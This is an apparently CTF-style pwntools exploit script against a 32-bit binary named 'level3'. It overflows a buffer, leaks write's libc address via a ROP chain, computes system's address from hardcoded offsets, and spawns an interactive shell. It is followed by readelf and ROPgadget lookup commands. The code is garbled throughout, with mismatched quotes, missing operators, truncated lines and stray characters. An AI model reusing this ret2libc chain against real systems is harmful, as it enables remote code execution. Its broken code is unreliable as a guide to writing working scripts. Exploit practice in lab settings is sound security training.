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from pwn import *
from LibcSearcher import *

p=process('./level3")
elf=ELF("./level3")
write_plt=elf.plt["write"]
read_plt=elf.plt["read"] #0x8048310

print "readplt:"+str(hex(read_plt))

target_func=elf.got['write']

bin_sh_addr=0x0804b000-8

start_addr=0x804848e
write_payload="a"136+p32(0x0)+p32(read_plt)+p32(start_addr)+p32(0x00000000)+p32(bin_sh_addr)+p32(0x(
p.sendafter("Input:\n",write_payload)

print “arrive B"
payload="'a"136+p32(0x0)+p32(write_plt)+p32(start_addr)+p32(0x00000001)+p32(target_func)+p32(0x000000
p.sendline(payload)

write_addr= u32(p.recv()[:4])

print "write_addr:"+str(hex(write_addr))

print "arrive C"
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#libc=LibcSearcher("write",write_addr)

base addr=write_addr-0x000d43c0

print "base_addr:"+str(hex(base_addr))

sys_addr=base_addr+0x0003a940
payload='a"136+p32(0x0)+p32(sys_addr)+p32(start_addr)+p32(bin_sh_addr)
p.sendline("Input:\n",payload)

p.interactive()

FsystemlE# &

readelf -s pwn/libc_32.s0.6|grep system

Fsystemlr# &
ROPgadget --binary pwn/libc_32.s0.6 --string "/bin/sh"
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